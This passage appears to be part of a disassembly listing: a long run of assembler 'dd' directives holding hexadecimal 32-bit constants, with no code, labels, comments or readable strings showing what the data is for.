		dd 0F9D8DCh, 5A90C1E2h,	97B8F366h, 6D09E700h, 0B7E035A3h
		dd 5F361E73h, 90CA801Eh, 113DD02Ch, 1152B03h, 0B17D0277h
		dd 5880C523h, 0C20A7FE2h, 80CDCFCh, 18BCCA7Bh, 985FE55h
		dd 8EFF7ADFh, 234ED500h, 813ADD66h, 0D1805046h,	0B27FDB18h
		dd 5021C430h, 0FAD28CB1h, 64371DF6h, 5C81C006h,	1DF4D496h
		dd 7A4A0563h, 0AF4000A4h, 7C43255Ah, 831D7BB7h,	1AC0148Ah
		dd 185654FCh, 2B7900B8h, 0CAC64148h, 917BCE97h,	41F11CAh
		dd 60752D70h, 74D510C7h, 83005967h, 70FEF429h, 0D0659Fh
		dd 0D7B517B7h, 7B1CDA49h, 90007574h, 4DC4BB6h, 0FAD2BF62h
		dd 2712000Eh, 0ED7CA771h, 0E50063C6h, 654DEBB9h, 20222Fh
		dd 1E239566h, 5A7CD671h, 86319002h, 0E04D9974h,	7678E51h
		dd 0D0F8F5A6h, 0AA9E804Ch, 0B4FC138Dh, 27151100h, 694EE9DFh
		dd 0BE48007Dh, 0B8B91CD5h, 9700491Fh, 3E4CB689h, 2B9CC1h
		dd 527E3C50h, 0BFE5A8B7h, 20DA03Eh, 51BBB3D5h, 0CA2AC0C3h
		dd 359712Dh, 30654EE7h
		dd 98A86881h, 367DBE06h, 0A5D63D00h, 21D19982h,	0F998AB9Ah
		dd 0C2E896C4h, 0ADDE003Eh, 0A4B6401Eh, 0BC02435Bh, 59D27523h
		dd 80B0AF1Bh, 4ED6E639h, 3CC20EA5h, 59E155CCh, 0F40D228Bh
		dd 0EE00A46Dh, 72430257h, 741FA4Eh, 0B2BAA82Fh,	64305103h
		dd 8082E956h, 0E693CD68h, 91E56Bh, 731F8DA6h, 0A933AF20h
		dd 9841E900h, 700D3727h, 9DB12664h, 0ACAB01C2h,	0DCB23FCCh
		dd 6F00C624h, 943126EFh, 0E8E927h, 0F8BBCE7Dh, 0DDFEDE95h
		dd 100F0500h, 8CA64422h, 94783B9Eh, 0AD078BC8h,	0E14F6E7Bh
		dd 0DC720705h, 0A20067E3h, 0BEA83F6Ah, 95B888C9h, 52B04343h
		dd 0F6074908h, 313782BBh, 7F506457h, 0A1A501h, 2516B0C5h
		dd 765EBE89h, 0D27B0B05h, 9C407783h, 9AFFA39Eh,	0E9D7A06Ch
		dd 0B7B585Bh, 0F70A4600h, 1121A068h, 0BC2C3F00h, 0C98AFF77h
		dd 169B0029h, 1783DA03h, 8200CC71h, 0FD94EC21h,	38BE431Dh
		dd 2383113Ch, 7265F0CFh, 0FDE90889h, 9E942496h,	1AB7B01h
		dd 0BE0F57D1h, 7860FCh,	0A8966364h, 0B110A7B6h,	0F1679400h
		dd 9D81197Eh, 25350062h, 0CFB63E66h, 7B02C22Bh,	0A6465D48h
		dd 0B3EC806Ch, 2D3B8Eh,	590B1CFCh, 7F05D165h, 0E1177D1Dh
		dd 1715AC0h, 7E02ADh, 0A4AB51C2h, 0FC6EDEB6h, 36B8B8C0h
		dd 24C45333h, 47FC7h, 976C218h,	38903D02h, 2196722h, 0FB45D0C9h
		dd 64409B6Ch, 2B0051BDh, 0E7163F69h, 1EEAF123h,	86FFE21Fh
		dd 127B8F94h, 6AF6E000h, 0A4EF3166h, 7DBD241Bh,	45803AA0h
		dd 0BB2D714Bh, 2803D16Eh, 58182FA3h, 0F0E7B893h, 0C6373210h
		dd 92C3BA50h, 0FAB8D790h, 1A3FE500h, 2ACE7577h,	0F9820EC9h
		dd 7C6EDDEEh, 0D8641460h, 0AF004065h, 0A5D3C01Dh, 71035AAh
		dd 2EA01EA9h, 0BF3230FCh, 0F200CD03h, 7F5E6CADh, 3B022946h
		dd 728EE3h, 6A8C3C53h, 7EBE2586h, 4D9A3318h, 12853140h
		dd 0ECC678h, 0B3FC4421h, 9200EF9Fh, 7A95502h, 1CB4101Eh
		dd 4078E6D9h, 0BAB06295h, 0B500C3A5h, 0FF3FF848h, 0C6677Bh
		dd 340E9689h, 0E0E692C7h, 0EAF22300h, 0A06AAB4Ch, 46DEC7Dh
		dd 843FC094h, 0F948C0C8h, 8902E048h, 0D955713h,	1AB060E7h
		dd 3C2500BAh, 8DF05F30h, 0C6049388h, 451E357Bh,	0FA76F090h
		dd 75C500C7h, 0A89A15D5h, 1A003546h, 340BA072h,	8A206Ch
		dd 16DAE91Ch, 8C48C9B4h, 0CE6F1F00h, 0CD3196EAh, 9C170062h
		dd 79C80464h, 0BD002E55h, 0EB5B0E86h, 0D0EEC4h,	0E55C944Ah
		dd 75EA0B36h, 0D24D8802h, 0C9F01224h, 0A4C4ED0Ch, 0C7EC1285h
		dd 80581DABh, 84AFA2C8h, 5E012404h, 6638F2FFh, 56F43CCEh
		dd 7CC33D03h, 0B7E27E8Ch, 1007A311h, 39C8E544h,	0E7F19201h
		dd 0AF43F0h, 15F3AE3Fh,	2FC305A6h, 2188606h, 180305Eh
		dd 2AA4EA3Dh, 0D8411E14h, 76019EC8h, 0A5BFDDCEh, 9711D8Dh
		dd 38E2D8h, 0A6688C7Fh,	0B91949AAh, 0BCC8ED0Fh,	0D3A9404Ah
		dd 0B735F8h, 0D0CDC248h, 0B62D8B88h, 9F70E01h, 789C84AEh
		dd 4BA08DCCh, 0CC1EC73h, 108AD019h, 1F9400E6h, 5B3C6608h
		dd 280F538Dh, 63C5FAAEh, 0C87C6E0Bh, 770488h, 63BD5D47h
		dd 5914DC39h, 126FB500h, 73A71620h, 72E20002h, 4BD6CE33h
		dd 3700CCA5h, 714D85FCh, 41AD882h, 9272709Ah, 0D258800Bh
		dd 247DB78Ah, 0C156C01Dh, 5CE6B40h, 0E71EC7h, 62E61028h
		dd 0DA7A6DB4h, 0FB6A521Ch, 4105D800h, 6530ACh, 5E49F1FDh
		dd 604F6D7Eh, 0D8448500h, 82B467DEh, 80870370h,	0E415C79Dh
		dd 0C95845F0h, 1A713471h, 0B4F00600h, 7039E201h, 0B8B100B5h
		dd 59C7FECBh, 1E00226Fh, 0CA7880D9h, 0ACF2D1h, 5F821C9h
		dd 3E076A3Ch, 51723400h, 0C038FA0Eh, 173100F5h,	0B3ED6E0Fh
		dd 820F8191h, 0E0A6DEF4h, 0DDF61AABh, 0EB9B0035h, 86583DB7h
		dd 0FD0078CEh, 0ADE02F25h, 7036233Fh, 0D95E00AEh, 9ACCBCFh
		dd 1B01B04Ah, 0D4B9EDDDh, 29F8E862h, 0D02158B4h, 0CAD27901h
		dd 3484102Ch, 40156A0h,	29B6D842h, 14605791h, 0C6BA00F7h
		dd 3B3AD177h, 6200E24Ah, 350DCBBCh, 0EFD69D7Eh,	7D71DF8h
		dd 0D85AB498h, 0DDDBF004h, 18008D46h, 97E81AEBh, 5E41071h
		dd 34C6FE6Fh, 0FD2493DAh, 80408381h, 8674ED90h,	3BBBD896h
		dd 0C1307D53h, 0FBCBCD28h, 1EF42D3Bh, 1B001F35h, 0D47E2BB9h
		dd 432600DBh, 890DE11h,	3C3EEE52h, 9F969D63h, 0AE609D00h
		dd 4619B9h, 5D7C64CAh, 0F113DBBh, 0DF91FA00h, 4E93ADCBh
		dd 0B7843AA3h, 8B28DA02h, 0B040F35Dh, 1701A4F0h, 8A6B4B5Ch
		dd 5C4733C5h, 0BF845910h, 50A47C6Fh, 33B70C62h,	3D18058h
		dd 3EA9FB98h, 0A033F9EAh, 0F0F760BAh, 3CDCE73h,	491D8CD9h
		dd 79B86720h, 9A00184Bh, 721F8FA1h, 90F182ECh, 19140067h
		dd 736158A8h, 7C7F7850h, 0AD98BA04h, 44D0C120h,	4AE153h
		dd 0F601CB54h, 0AB58D80Ah, 25C4DF0Eh, 70905247h, 9A07F0A9h
		dd 317F00B4h, 45499DE5h, 6004290h, 0DF411B3Dh, 1C6B972h
		dd 0A0EBA3A9h, 0C64435B2h, 0C5B39CC8h, 76B6341Dh, 0C4FE84Ah
		dd 0F19C9003h, 7F9003ECh, 4A534E19h, 0B970CDA0h, 4CFC2718h
		dd 0D31F28h, 7AEC282Ah,	4B3FEA1Eh, 0BA73650Ah, 0E441BC2Dh
		dd 60C87CE1h, 0E2373BA9h, 6595B680h, 4EA7278Fh,	9F1C2E73h
		dd 0F5400985h, 46EE50FCh, 66AF1F0Ch, 0BE810099h, 9EF7E2B1h
		dd 0FA3F90A8h, 0E9CF0D00h, 0F6D44BB8h, 9C57A94h, 5446379Dh
		dd 0B8953306h, 0F3C82303h, 999F2EBh, 673C91B1h,	65F1C800h
		dd 56EC1922h, 1530321Fh, 0ACC661F0h, 0A37102AFh, 7E8B9329h
		dd 400285Ah, 6576D0DEh,	366E623h, 3185D421h, 0ACD0AFA7h
		dd 0CB4BB4CEh, 46162C01h, 38B849E0h, 3FA2A100h,	8B59C5D9h
		dd 0E83B6003h, 0A0C79A36h, 202DCDA6h, 6A01C633h, 0AC158558h
		dd 0B3708E34h, 1C98905Bh, 0D6CB0h, 6DD972D2h, 810055F6h
		dd 42916E0Eh, 98E59Fh, 1DE497E3h, 73C37925h, 0B160DEE9h
		dd 0B71D5734h, 914770DBh, 7127D5Bh, 0F43F473h, 0B8202DC5h
		dd 5F2FAB1h, 1F531C01h,	9F41E936h, 0DF7CCC70h, 99E50030h
		dd 270DE4D3h, 7E50D109h, 493E80D8h, 0C54146Fh, 376A1225h
		dd 0EB1C6C38h, 0DBDF84FFh, 0A269E102h, 602C926Eh, 8017A9h
		dd 0F13DFC0Eh, 1C284AC4h, 4CC3CF28h, 75AE0A03h,	0E013A2F7h
		dd 1A07D580h, 0A8F14729h, 4008A787h, 0B6B74225h, 18E48B30h
		dd 33DA474h, 861AEF3h, 0EBAA25CFh, 0C4E48C80h, 470A8ABCh
		dd 9CB8DBD1h, 337F1830h, 0F5800018h, 0A2E9414h,	76009766h
		dd 413411E9h, 121916B6h, 1E84906Eh, 2DFF00AAh, 303E4C0Fh
		dd 93508E0Ch, 290560CCh, 824E81Dh, 9B1E7B6Ch, 35084DC0h
		dd 283AA1F0h, 0AC7096h,	0E38F501Dh, 544E2E95h, 1F605339h
		dd 9E007912h, 0A52D3534h, 70C1C0D5h, 2A026DAh, 0AFEE8E00h
		dd 40FC486Eh, 0F84E00ABh, 80593D18h, 0DA140FF3h, 2882CE4h
		dd 1DE61F52h, 0A5788F47h, 0D80F196Ah, 5448508Eh, 1179620Ah
		dd 0E5E400A8h, 7FD1B653h, 0CDA92706h, 3008AC87h, 0BE20E35Bh
		dd 162CB2ABh, 0A2001E32h, 3EB8F5C9h, 4E170026h,	0FC4507B5h
		dd 0DB01D26Ch, 0A602F1AAh, 24207C01h, 6FF407C5h, 0D02A48AFh
		dd 568DF631h, 0ECA2302Ah, 522C3600h, 85FF4360h,	0BEB700BBh
		dd 614F1D49h, 7D05258Bh, 0EF776BE4h, 0BD7B9400h, 3B8E3EB5h
		dd 728030B3h, 3800119h,	7700A260h, 989465EAh, 0EECAAFB8h
		dd 2D7E00CFh, 0D2DFB415h, 0FC003B62h, 0B7DCC7FBh, 9B3112h
		dd 82B6F02Ah
		dd 0D66116C3h, 4D593Ch,	3EFA4E46h, 3E8826CFh, 0B83D19Ah
		dd 9895A469h, 81E4E08Fh, 6D00CC6Bh, 246537E9h, 0DFC57Fh
		dd 6677249h, 5C76931Ch,	0B126CB07h, 18E1BC89h, 0DDF0EF92h
		dd 406E8B5h, 83817037h,	0FFC0BEB1h, 0EC5E97h, 8201679Dh
		dd 3F9FC9E6h, 0E06B30CEh, 74B155F5h, 85A00135h,	331DFE3Bh
		dd 9020819Bh, 35D892Ah,	98F0D6ECh, 74F257h, 96ADEA95h
		dd 7BDF8C2Eh, 28110630h, 58EF56FAh, 0D600B6CAh,	176D253Ah
		dd 0E500B44Bh, 5C340D94h, 72958A7h, 62BC028Ch, 19746101h
		dd 6C50874Ch, 0B5466642h, 30E6C030h, 0EC042E7Eh, 12482000h
		dd 31AD0D64h, 8CDA006Ch, 58DD870Eh, 3A00D889h, 54CCF782h
		dd 5A2665Fh, 6D8BAD17h,	0B7A98018h, 0DC300493h,	2EF6D838h
		dd 9A5300D7h, 4515C5BCh, 8D38ED3Ch, 24A18C46h, 53FC1040h
		dd 8AC0441h, 20213400h,	4E790640h, 4BAF0F1Ah, 2B20E5C8h
		dd 896C5AAh, 8BBC2738h,	80732E0Dh, 0A3F15750h, 1E557C43h
		dd 0DF850B0Eh, 0E68BC5BBh, 0A94FC0F7h, 9D009E7Dh, 8E93966Ch
		dd 50EB56h, 0FD44E1C3h,	0F50AB63Ch, 0B01811Ch, 0B5FFF6C0h
		dd 3385025h, 66BECA2Ch,	0C0EFCF41h, 362DE4BBh, 0B95DC000h
		dd 684ECCF0h, 1AFD003Ah, 7B6AAD45h, 0FA002513h,	0A092027Eh
		dd 0E2D7AE24h, 4A1201E8h, 0D88FA6FBh, 0DB8BFCE2h, 83504800h
		dd 0EAD4DE6Ah, 0C29200BCh, 0E1B9EE3Ch, 935C151Bh, 0B56600ACh
		dd 1EA66C75h, 59F60078h, 8AA8639Ah, 8D1D9809h, 61C0E0D6h
		dd 8B44ED9Ch, 7970015Ch, 4D221CD3h, 6FB040B1h, 7E005EC6h
		dd 0FC0CA6ACh, 7824C413h, 308217BAh, 8AB20494h,	3CD6C090h
		dd 97004521h, 6783BB15h, 0E473956h, 1B2CA022h, 1FA6801Dh
		dd 697F19A5h, 872B2E00h, 48773F75h, 0C92C3BF7h,	1E01E8D0h
		dd 0BEFE703Ah, 37215780h, 0AB479193h, 6E5D7E00h, 3FFC82A9h
		dd 9EDC020Ch, 189C43B9h, 27504FC0h, 6CCD5Ch, 0F3BA13Dh
		dd 21A69D9h, 4F756709h,	5044B266h, 99D2FC00h, 0AD57B496h
		dd 1C95F823h, 4038FEBCh, 0A887868Eh, 4D07F49Fh,	24E148E0h
		dd 43166310h, 3F8D002Dh, 59713EDh, 550C9DDAh, 880AD0C7h
		dd 0FE890090h, 41B68354h, 0F30BBE16h, 0F814F077h, 0FD8F1643h
		dd 0D032F0E0h, 26C12100h, 2CDBF80h, 360C0019h, 1488EC41h
		dd 6C00C4CEh, 0B89D035h, 611DEFh, 26192511h, 0B2CC0DB0h
		dd 93C16D0Fh, 738DE18Ah, 34D007E4h, 61F24Fh, 9AE5DCFAh
		dd 0D3B80A40h, 2B5A292Ch, 1B543607h, 9D8CE36Fh,	834D05Fh
		dd 3E2FC7Eh, 8E56DAF3h,	0AD4948h, 685BFAECh, 0F0001983h
		dd 4A6092D7h, 3ECDA1B4h, 1C00DB43h, 9190D42Dh, 94002F33h
		dd 3B75BCACh, 3D6FD806h, 7B836EEBh, 98E8F652h, 19441EC0h
		dd 0A09E4015h, 278400F8h, 682BE28Dh, 617A0069h,	14B91896h
		dd 3E7736BCh, 7698AD48h, 53D78A2Eh, 55AF7501h, 4090742Eh
		dd 0A86BE30Bh, 86C17Bh,	0CC87B8BBh, 3563204Fh, 6AD5D07h
		dd 0B72ECEC0h, 0BE6613h, 0D155B9D6h, 2407FCE8h,	0CD342576h
		dd 0C55156C0h, 4EED0062h, 7C7A9BBCh, 0BE002A5Bh, 0D8CA9464h
		dd 38C3312Bh, 0B8007F67h, 0FC90AA40h, 3A006039h, 0F478926Dh
		dd 16EC4EB0h, 0FAD7E6FDh, 574D2300h, 0D4B569h, 45D29518h
		dd 27B0A30Ch, 31410500h, 0F01CAB77h, 65B103D4h,	442302C3h
		dd 0C9078F8h, 0C274D130h, 0F2BE5DC8h, 70AB072Fh, 0B1A9E345h
		dd 20FFFC0Fh, 0F0C0B2E0h, 0B8AB81ACh, 0CD260008h, 1C8B60EFh
		dd 480084F2h, 0C6D5DE6Ch, 3C164FCh, 740A5C59h, 4B89A415h
		dd 5D92F498h, 0CCA16A00h, 0CAC824CBh, 0F71D0051h, 9860DB20h
		dd 6F1E570Fh, 13C0C777h, 9EB171FAh, 0D444017Dh,	2BE4DFE0h
		dd 0F2E1C0D1h, 4CA66100h, 78FC21C7h, 0AF27001Dh, 52B0B6F4h
		dd 9C072271h, 4C09B455h, 0D1C72DE0h, 3EF0E102h,	0CEB000C0h
		dd 9EF6FCECh, 1A124355h, 0DD013F49h, 764460E6h,	3D5F7280h
		dd 0FDD66CEh, 0F935B43Dh, 0DBEDA200h, 0A6D845F8h, 242C0010h
		dd 0D6C5DCECh, 26EA35A5h, 8C510D00h, 0B6B3FABBh, 76ED0597h
		dd 0F7B2B4h, 0C10CFFF3h, 0DD00269Eh, 0B8E3C096h, 0D7CCD4h
		dd 0AE445798h, 7D58F41Ch, 0F2B47B00h, 0F6AB882Dh, 0D93C001Bh
		dd 296D43BDh, 3F07F932h, 6056DDB0h, 6E806B70h, 644A0F86h
		dd 1921E21Dh, 22D0F17Bh, 808700B4h, 715B3E6Ch, 889D00C5h
		dd 0E1E6B6EBh, 5E03165Fh, 0F955E733h, 60468A83h, 635ABD6Ch
		dd 61CC40DDh, 158AC4Ch,	5CC1CDDAh, 0B4D48763h, 65222421h
		dd 97740094h, 1607C29Eh, 0D8B208E0h, 20EE0300h,	0A43388A3h
		dd 0FF4928Ch, 0A2F36E0Eh, 5FD82A21h, 5A82D0F1h,	0E0F95714h
		dd 0DD53E02Ch, 14721880h, 0C711D116h, 8910D700h, 0F061F950h
		dd 0E76600B7h, 0AEE4B53Ch, 44017C47h, 0F1F3712Dh, 4F21629Bh
		dd 2992D8EBh, 0FE74078Bh, 509A0841h, 177B3DE3h,	47AB8E03h
		dd 0C07C8ABCh, 0C09382h, 8329B2CAh, 0E88C4B3Eh,	622F7200h
		dd 7E670FA4h, 8E2B008Bh, 3394DE9Ah, 64002734h, 132ED504h
		dd 0F79B3Dh, 0DB323F19h, 0C86DC731h, 79F81724h,	8FAA5400h
		dd 17C6E6E5h, 4099CBF7h, 16CEAC48h, 644C0ABCh, 0D02A0131h
		dd 93782831h, 4EC7720h,	3B561157h, 7614C0BBh, 0E80F2905h
		dd 20A27B36h, 44840CB2h, 44603EBh, 3E3370C0h, 2F0DEA00h
		dd 7687D881h, 0D59300ECh, 16698AFAh, 3C3AC7DCh,	5CD68190h
		dd 369BA615h, 0E4A86194h, 7098700h, 0D5656A7Bh,	68583717h
		dd 7C113000h, 28D7BEh, 2F619597h, 5EE1158Ah, 363FED00h
		dd 3125F406h, 93B20016h, 94FA8BACh, 80054A6h, 10BFD003h
		dd 0B9FCCAh, 3A8DC047h,	7877C392h, 103E1F8h, 597E715Ah
		dd 4D080DDh, 5E4300F6h,	1244E716h, 84385FA5h, 7DC2804Bh
		dd 477F025Bh, 727004CFh, 81213B68h, 9D47844h, 0E006422h
		dd 0AE3D3A89h, 41B79BEDh, 39CC2578h, 612B03C9h,	5D665F92h
		dd 216D3E0h, 0E4839100h, 41DEF0FFh, 1D0B0F20h, 2769E5Fh
		dd 0AF765370h, 0AD0E68C5h, 6088082h, 0B18821h, 3A3CC0AFh
		dd 5CC4E9F7h, 3B2B7604h, 0C3C0BFF9h, 603E50B6h,	1D9EF01Bh
		dd 37B88378h, 0F649E677h, 0F0FA00CCh, 3859FED0h, 7B8A01A2h
		dd 11AA450Eh, 0DD1C705Ch, 7528D109h, 65B81816h,	5EE000FAh
		dd 76BB56B1h, 0C001101Dh, 952355FFh, 0E82469CDh, 32150488h
		dd 0C04A677Fh, 2FD7D19Ch, 4921CE30h, 3E7105A7h,	760545DCh
		dd 0C03C04F7h, 0C6EAC590h, 22AD1E00h, 949C7D44h, 0E0657815h
		dd 410900D3h, 8718CB53h, 0F300D835h, 0FE7FFC76h, 0E0D5680Ah
		dd 5D0F00EBh, 0F6B7558Eh, 4F03D96Eh, 0BFC22C99h, 3C59A049h
		dd 1FB1017Eh, 6A9803F1h, 36ACD4B5h, 643B9F0Eh, 0FFF560D9h
		dd 49F4D183h, 0BB39E80Eh, 5000ADC0h, 0D861121Bh, 17309E9h
		dd 0B47725BEh, 20BB2D40h, 0D100B609h, 90AE59Bh,	1EFE4EAFh
		dd 801920ECh, 0ABC6A2FBh, 741341CCh, 8400C17Ah,	26FA43BEh
		dd 1EA9011Bh, 956606F0h, 4C73C5h, 0E8EFDF2Dh, 25578046h
		dd 348097EDh, 5230D33Dh, 96607307h, 351008A9h, 0E1C437h
		dd 362DFBB3h, 0C1BBF912h, 208D221Fh, 0EB0DCC07h, 866A7670h
		dd 82C899A3h, 0C9FD8FCDh, 0B8CED8A0h, 0D0005CA2h, 7A952A5Ah
		dd 24050DE3h, 0C04C548Ah, 0B127C8B5h, 5C860700h, 0C957D840h
		dd 441A015Fh, 6AC33DBBh, 2C93CD8Ah, 0E4E600BCh,	0A6915B01h
		dd 187C3CCDh, 0CF50528Ch, 2E004B79h, 87F7A388h,	5E2425Ch
		dd 6CCC16FEh, 6696005Dh
		dd 0B11BC38Fh, 0FA6BEC00h, 0C74A335Bh, 85820FB5h, 0ADA01587h
		dd 0E4D2ECFh, 5944510Eh, 33C7E11Ah, 9FEB5618h, 177052F0h
		dd 0D89E587Ah, 0E3D92900h, 267B2746h, 3C379100h, 0E5B89744h
		dd 0B7F069h, 7CF48E2Ah,	77235689h, 183A3700h, 0E7E4125h
		dd 20F0912h, 0CA9BECEh,	46763420h, 6205FE2Dh, 84E3AB35h
		dd 220D9800h, 4B327Dh, 8095507Fh, 0AF2EC240h, 0C5094100h
		dd 7BCBAA31h, 965900D3h, 23426EAEh, 6D008940h, 0AC4E267h
		dd 71D2D5Fh, 0B27651DBh, 0AD806B14h, 1CA75859h,	85A1A200h
		dd 25ECAF30h, 0D30B0016h, 0F99F961Fh, 6907D0B4h, 1E6CCDEDh
		dd 97C39440h, 82C002C8h, 1C44AC1Fh, 0BF8EA060h,	5861402Eh
		dd 0EE00FD1Eh, 0A549ECE6h, 9FA100F7h, 3AA0E2D7h, 20B870D0h
		dd 6A352604h, 18B003E6h, 0EF8E1C87h, 0E1484055h, 80259F82h
		dd 0C4C65F0Bh, 44C0AF2h, 0A08FA9CFh, 69C398DCh,	5D4B17h
		dd 0B3910AF0h, 37096699h, 0B09759B0h, 196274h, 7C1EE368h
		dd 0AEC75D82h, 0D5FF500h, 0D5FEE050h, 0D9E50011h, 0DB582B4Ah
		dd 3B58D39Fh, 66BDC044h, 7AFFFBh, 1A63D26Dh, 0BED3A107h
		dd 75E88600h, 25C45137h, 710107E5h, 2F0DBA9Ch, 81868E00h
		dd 7903B222h, 0BE54FD6Dh, 630EA185h, 42F2F8h, 2A565115h
		dd 3404ED98h, 0A0008D73h, 3B447E0Ch, 0E52C6Dh, 0EC852522h
		dd 762A3058h, 8060533Bh, 48733312h, 0E7F655h, 3D6D6A2Eh
		dd 5213650Ah, 89E25D00h, 8C9E29F8h, 9D0403E1h, 0C2DCDD55h
		dd 799AB0E0h, 0B1F61D00h, 2E6C75BAh, 0D27F0A04h, 965A2Ah
		dd 0FA8DE0E5h, 2600594Ah, 0EC91131Ch, 0F29F88DBh, 0DE870012h
		dd 0E689F75Dh, 0B30EACCAh, 0A017E81Bh, 5C7D217Eh, 90B0054h
		dd 50D52FF8h, 0FD00A77Bh, 0EA8F4639h, 0EA4E059h, 6489746Ch
		dd 53712B60h, 822EC488h, 20804894h, 573CF6F7h, 6D8D0291h
		dd 0F3645E79h, 19E020E0h, 6CCDE12h, 0E9BFB420h,	3C3300A4h
		dd 69B09143h, 0C3C6F10h, 1EBD8124h, 51C1E5E2h, 8534C0F3h
		dd 0DF291372h, 219047C6h, 97E7F1B4h, 3ED6D096h,	72F80501h
		dd 918E094Ah, 80E6E865h, 30152318h, 0A547012Ch,	0CD895F9h
		dd 8A37DCF2h, 0A2008F7Dh, 78D1FE44h, 0EF5D4Dh, 0F6E9D76Eh
		dd 91199626h, 85583118h, 7B7D3DE9h, 0E6D80C3Ch,	4C209780h
		dd 844058D1h, 4D73A420h, 4995A802h, 80518A5Ch, 94FC6F50h
		dd 756E05A2h, 0C0091466h, 51A0EA54h, 82887007h,	0C980C15Eh
		dd 72E04B13h, 0B570FBFCh, 0A96800DCh, 0F0E876D8h, 0F9003F9Bh
		dd 4B1299AAh, 0FCB5645h, 0DB1C6A75h, 38B62FA3h,	0F4B8D7B8h
		dd 0C601D07h, 0F1E046D3h, 6C1F70h, 0F83FCFEFh, 15FEA941h
		dd 0A9BB4Ch, 9EC804DCh,	186ADED7h, 0E017C5CCh, 62005CEDh
		dd 0D54A35DAh, 68A1E6F9h, 397C08D1h, 5AE1D000h,	849F0739h
		dd 85543700h, 568D146h,	0DAB10CE8h, 0CD58DB5Bh,	43D7B8Ch
		dd 0AC9D4A68h, 20B022E5h, 2EE1D761h, 0AAED300h,	5FA73258h
		dd 74C20025h, 0D0204F3Ch, 0DCB4EAEEh, 560C0D00h, 3DE538D5h
		dd 0E4B38E72h, 2107EB08h, 6655322Dh, 0C53A2580h, 882360BFh
		dd 75A046E2h, 79A32733h, 50F1E1FCh, 0EA702CC7h,	20201805h
		dd 321888EFh, 0A129115Ah, 0C4AE0010h, 0C74684FFh, 3113CCC0h
		dd 44C079C6h, 0AAE8D2h,	6E350BC8h, 540E246Dh, 58E35F30h
		dd 125D196h, 0DAC8B66Fh, 0FBA02851h, 0DE69D817h, 3779E0Fh
		dd 0FB4472A6h, 42343CC5h, 5AF5CB80h, 0AEF34B67h, 84715B98h
		dd 738EC201h, 1941052Eh, 7D92B1F0h, 0C0360013h,	0BBC58048h
		dd 0F5003026h, 0F2BE7505h, 96F06Fh, 0A5D2298Eh,	9F3C5211h
		dd 640A041Fh, 0ADBA7F00h, 259312h, 2AAB71A4h, 0AA3C29D9h
		dd 35136907h, 7281464Ch, 288FCAC4h, 61EE051Ch, 0F83E5620h
		dd 7D76D06Ah, 0C783Eh, 0E821114Ch, 0BA80E4h, 0A9255062h
		dd 0FB7FED0Ah, 9B2FA100h, 0B01137E6h, 0BB60F8Bh, 0AD402713h
		dd 9A1FDB56h, 2B20E000h, 8B5D8159h, 19020083h, 6FFC4E07h
		dd 5A0036BAh, 0A9567F3Fh, 611FF4h, 9B342CA5h, 929CAB99h
		dd 5B390C00h, 0EBF9E216h, 68BE0020h, 26771E50h,	0A5079397h
		dd 0B9166C30h, 0A45B29C0h, 0D6AE061Ah, 0B9DD066Bh, 238A78DEh
		dd 0B91C8C3Dh, 3539A600h, 2A4565h, 3E7B1BD4h, 1C4E37DBh
		dd 9392F007h, 0FCB08FBDh, 12DA15BCh, 0A8B434h, 92B5AFC6h
		dd 0DE000727h, 19409E6Bh, 96FFA7h, 2EB2017Bh, 77F9E8D7h
		dd 69F11200h, 2DC815E7h, 0CCA63A4Ah, 0D456E003h, 0A0E898F9h
		dd 500084FDh, 0C0B08D0Eh, 0FB8C88h, 0F95E6B7Dh,	0CBB76D55h
		dd 8200E773h, 0D9D47A58h, 33C96C5h, 6CAC75E1h, 81B6DF6h
		dd 80205947h, 391B96BDh, 0B483B054h, 6F17CEECh,	208D98D0h
		dd 0CA64E300h, 8A04FFAAh, 0AB998EFh, 1037EE7Bh,	0F11B005Ch
		dd 23BC44DCh, 53103242h, 149D0050h, 516DC7F1h, 72A00C8h
		dd 0CD4D4903h, 0E3509584h, 0FF60AECFh, 65E1F9B1h, 5A3E0039h
		dd 0D9BEE220h, 0B15E0651h, 2E07F1ACh, 90347A57h, 20971ED0h
		dd 6FE6321Bh, 0F9F6A17Ah, 69142080h, 0D171A5D0h, 0B6DBAD2Ch
		dd 137BF100h, 0A85B64BBh, 86BC4394h, 0E00A9390h, 94879648h
		dd 24474164h, 2617D0D1h, 0D075DE4Ch, 0A7EF500h,	0EE32812Eh
		dd 94110F2Ch, 39002FF7h, 9D5E45AFh, 69CBB801h, 0E00F7F72h
		dd 1CD3D0E8h, 1E6B8254h, 7C674086h, 0DC61B846h,	18917801h
		dd 8BBF9966h, 0EA6530h,	0C1451C79h, 283FE5E1h, 2A3ADA00h
		dd 0C414D463h, 0BA609D9Ah, 517AF9F0h, 0DB5D7D00h, 4E0B08BAh
		dd 81B539F6h, 47E0991Ch, 80501A97h, 89F03667h, 22C7271Ch
		dd 0BE3CFE80h, 0E0B4B325h, 0D1FEFDh, 52FF96D0h,	6AB8BBE3h
		dd 0C5453700h, 15F75805h, 0D2BE0101h, 0AD6CA27Ch, 578CCCC6h
		dd 0E90359F8h, 0B2ED8E02h, 0D0A6A04Eh, 0ACD400E4h, 42F91C88h
		dd 4300AFD1h, 489998A0h, 0CB424C6h, 14EEC91Bh, 1100E820h
		dd 0CE44BEC8h, 7DC4A5h,	5DBC63B7h, 27C77B9h, 5759500h
		dd 2E211561h, 0E61C008Fh, 2FBC3FE4h, 95063B59h,	168DF2A9h
		dd 3320650h, 80DDDE71h,	9E1E3F78h, 90FB9BBh, 0F256806Ah
		dd 740BC20Dh, 38EF6062h, 25547401h, 21932450h, 7C2E0219h
		dd 0A530C188h, 92060119h, 3E38AC6Ch, 8EA9F0B1h,	35700363h
		dd 0B821800Ah, 0C580156h, 0B5B9FD9Ch, 6C38E894h, 666E7800h
		dd 4E69E75Ch, 776F0096h, 9772DBE6h, 6007994h, 54DE3F52h
		dd 0D60BA2h, 99FED89Ah,	30EB6EBh, 1D380D00h, 0A4D43021h
		dd 60B9EEF1h, 333D3018h, 0E87CE934h, 22B86600h,	3C7BDFB6h
		dd 59A0174Bh, 4D1200C9h, 0A36E813Dh, 8BAC2A3Ch,	2F22C05h
		dd 6033372Dh, 1FA01CD5h, 80ADB5F1h, 72F74C08h, 0AE001BE6h
		dd 94063C64h, 0EF17E5h,	0C830A290h, 1BC7C0B2h, 8240673Bh
		dd 0CD551204h, 0DE3240ECh, 0D1B1602Ch, 34C5785Ch, 0D49EF90Fh
		dd 8EA60079h, 18D9C95Fh, 303B97D3h, 440090B9h, 0A845B152h
		dd 26392h, 7EAF6042h, 0D64E677Dh, 4BBC7700h, 269F6589h
